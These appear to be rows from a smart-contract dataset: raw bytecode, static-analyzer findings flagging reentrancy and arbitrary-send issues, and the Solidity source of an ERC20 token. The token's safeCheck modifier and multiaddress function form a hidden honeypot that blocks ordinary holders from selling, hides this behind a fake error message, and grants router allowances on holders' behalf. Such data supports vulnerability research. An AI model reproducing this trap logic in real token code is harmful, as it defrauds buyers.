56105d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f991906117d9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561064157600080fd5b505afa158015610655573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067991906117d9565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106c157600080fd5b505af11580156106d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f991906117d9565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061072981610947565b60008061073e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107a157600080fd5b505af11580156107b5573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107da91906119af565b5050600f8054640826299e0060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561084f57600080fd5b505af1158015610863573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610446919061197b565b6000546001600160a01b031633146108b15760405162461bcd60e51b81526004016103c790611a2f565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146108f95760405162461bcd60e51b81526004016103c790611a2f565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600c546001600160a01b0316336001600160a01b03161461093a57600080fd5b4761094481611060565b50565b6001600160a01b03811660009081526002602052604081205461045b906110e5565b6000546001600160a01b031633146109935760405162461bcd60e51b81526004016103c790611a2f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610457338484610c14565b600c546001600160a01b0316336001600160a01b031614610a0a57600080fd5b6000610a1530610947565b905061094481611169565b6000546001600160a01b03163314610a4a5760405162461bcd60e51b81526004016103c790611a2f565b60008111610a9a5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103c7565b610ab56064610aaf6509184e72a0008461130e565b9061138d565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b525760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c7565b6001600160a01b038216610bb35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c7565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c785760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103c7565b6001600160a01b038216610cda5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103c7565b60008111610d3c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103c7565b6000546001600160a01b03848116911614801590610d6857506000546001600160a01b03838116911614155b15610fc957600f54600160b81b900460ff1615610e4f576001600160a01b0383163014801590610da157506001600160a01b0382163014155b8015610dbb5750600e546001600160a01b03848116911614155b8015610dd55750600e546001600160a01b03838116911614155b15610e4f57600e546001600160a01b0316336001600160a01b03161480610e0f5750600f546001600160a01b0316336001600160a01b0316145b610e4f5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103c7565b601054811115610e5e57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610ea057506001600160a01b0382166000908152600a602052604090205460ff16155b610ea957600080fd5b600f546001600160a01b038481169116148015610ed45750600e546001600160a01b03838116911614155b8015610ef957506001600160a01b03821660009081526005602052604090205460ff16155b8015610f0e5750600f54600160b81b900460ff165b15610f5c576001600160a01b0382166000908152600b60205260409020544211610f3757600080fd5b610f42426019611ad4565b6001600160a01b0383166000908152600b60205260409020555b6000610f6730610947565b600f54909150600160a81b900460ff16158015610f925750600f546001600160a01b03858116911614155b8015610fa75750600f54600160b01b900460ff165b15610fc757610fb581611169565b478015610fc557610fc547611060565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061100b57506001600160a01b03831660009081526005602052604090205460ff165b15611014575060005b611020848484846113cf565b50505050565b6000818484111561104a5760405162461bcd60e51b81526004016103c791906119dc565b5060006110578486611b2b565b95945050505050565b600c546001600160a01b03166108fc61107a83600261138d565b6040518115909202916000818181858888f193505050501580156110a2573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110bd83600261138d565b6040518115909202916000818181858888f19350505050158015610446573d6000803e3d6000fd5b600060065482111561114c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103c7565b60006111566113fb565b9050611162838261138d565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111bf57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561121357600080fd5b505afa158015611227573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124b91906117d9565b8160018151811061126c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112929130911684610af0565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112cb908590600090869030904290600401611a64565b600060405180830381600087803b1580156112e557600080fd5b505af11580156112f9573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008261131d5750600061045b565b60006113298385611b0c565b9050826113368583611aec565b146111625760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103c7565b600061116283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061141e565b806113dc576113dc61144c565b6113e784848461146f565b80611020576110206005600855600a600955565b6000806000611408611566565b9092509050611417828261138d565b9250505090565b6000818361143f5760405162461bcd60e51b81526004016103c791906119dc565b5060006110578486611aec565b60085415801561145c5750600954155b1561146357565b60006008819055600955565b600080600080600080611481876115a2565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114b390876115ff565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114e29086611641565b6001600160a01b038916600090815260026020526040902055611504816116a0565b61150e84836116ea565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161155391815260200190565b60405180910390a3505050505050505050565b60065460009081906509184e72a00061157f828261138d565b821015611599575050600654926509184e72a00092509050565b90939092509050565b60008060008060008060008060006115bf8a60085460095461170e565b92509250925060006115cf6113fb565b905060008060006115e28e87878761175d565b919e509c509a509598509396509194505050505091939550919395565b600061116283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611026565b60008061164e8385611ad4565b9050838110156111625760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103c7565b60006116aa6113fb565b905060006116b8838361130e565b306000908152600260205260409020549091506116d59082611641565b30600090815260026020526040902055505050565b6006546116f790836115ff565b6006556007546117079082611641565b6007555050565b60008080806117226064610aaf898961130e565b905060006117356064610aaf8a8961130e565b9050600061174d826117478b866115ff565b906115ff565b9992985090965090945050505050565b600080808061176c888661130e565b9050600061177a888761130e565b90506000611788888861130e565b9050600061179a8261174786866115ff565b939b939a50919850919650505050505050565b80356117b881611b89565b919050565b6000602082840312156117ce578081fd5b813561116281611b89565b6000602082840312156117ea578081fd5b815161116281611b89565b60008060408385031215611807578081fd5b823561181281611b89565b9150602083013561182281611b89565b809150509250929050565b600080600060608486031215611841578081fd5b833561184c81611b89565b9250602084013561185c81611b89565b929592945050506040919091013590565b6000806040838503121561187f578182fd5b823561188a81611b89565b946020939093013593505050565b600060208083850312156118aa578182fd5b823567ffffffffffffffff808211156118c1578384fd5b818501915085601f8301126118d4578384fd5b8135818111156118e6576118e6611b73565b8060051b604051601f19603f8301168101818110858211171561190b5761190b611b73565b604052828152858101935084860182860187018a1015611929578788fd5b8795505b838610156119525761193e816117ad565b85526001959095019493860193860161192d565b5098975050505050505050565b600060208284031215611970578081fd5b813561116281611b9e565b60006020828403121561198c578081fd5b815161116281611b9e565b6000602082840312156119a8578081fd5b5035919050565b6000806000606084860312156119c3578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a08578581018301518582016040015282016119ec565b81811115611a195783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ab35784516001600160a01b031683529383019391830191600101611a8e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ae757611ae7611b5d565b500190565b600082611b0757634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b2657611b26611b5d565b500290565b600082821015611b3d57611b3d611b5d565b500390565b6000600019821415611b5657611b56611b5d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461094457600080fd5b801515811461094457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220356643faa16b46b1ea141ae3dc1977b3b9de49b4d22c7f6ef5edf0facf5a056664736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,320 |
0x86cfec32b37c2321be14bd0fdcbf4b5d8b50bc73 | pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_ARTX(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673fffffffffffffff